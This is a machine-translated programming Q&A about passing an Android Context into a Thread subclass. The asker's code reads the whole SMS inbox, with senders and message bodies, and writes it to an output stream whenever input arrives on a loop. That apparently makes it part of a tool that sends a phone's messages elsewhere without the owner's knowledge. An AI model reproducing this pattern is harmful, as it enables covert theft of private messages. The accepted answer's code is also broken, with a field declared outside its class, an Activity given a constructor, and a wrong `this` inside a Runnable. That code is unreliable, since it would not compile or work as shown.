从类传递上下文扩展了线程

时间:2015-03-21 03:47:32

标签: java android

之前,我使用kelas1 extends Service,我的代码适用于读取收件箱。但是如果我的班级使用kelas1 extends thread,我不知道如何让它工作。

sms.inbox(kelas1.this,localDataOutputStream);

这是我的代码:

kelas1.java

public class kelas1 extends Thread {
public void run() {
    //code
    while (true) {

        charsRead = in.read(buffer);
        if (charsRead != 1) {
            String message = new String(buffer).substring(0, charsRead).replace(System.getProperty("line.separator"),"");
            Log.d("wew", message);

                // this is my problem
            sms.inbox(kelas1.this,localDataOutputStream);
    }

}

readsms.java

public class readsms {

    public void inbox(Context context, DataOutputStream outstr) throws IOException{
        Uri uriSMSURI = Uri.parse("content://sms/inbox");

          Cursor cur = context.getContentResolver().query(uriSMSURI, null, null, null,null);
          String sms = "";
          int body = cur.getColumnIndex("body");
          while (cur.moveToNext()) {
              sms += "Dari :" + cur.getString(2) + " : " + cur.getString(body);         
          }
          Log.d("wew", sms);
          sms = sms + "\nbaca sms selesai";
          outstr.writeBytes(sms);
    }
}

1 个答案:

答案 0 :(得分:0)

您需要一个活动类的上下文,因此在kelas1

中需要一个构造函数
Context context;

public kelas1(Context context)
{
   this.context = context;
}

然后在你的代码中你必须使用这样的上下文:

     sms.inbox(context,localDataOutputStream);

将您的代码更改为:

final Context context;
public class kelas1 extends Activity {

   public kelas1(Context context)
    {
       this.context = context;
       call_thread();   
    }

public void call_thread(){
        new Thread(new Runnable(){
         public void run() {
            while (true) {
                charsRead = in.read(buffer);
                if (charsRead != 1) {
                    String message = new String(buffer).substring(0, charsRead).replace(System.getProperty("line.separator"),"");
                    Log.d("wew", message);

                    // this is my problem
                        sms.inbox(this.context,localDataOutputStream);
                }
              }
           }).start();

        }
    }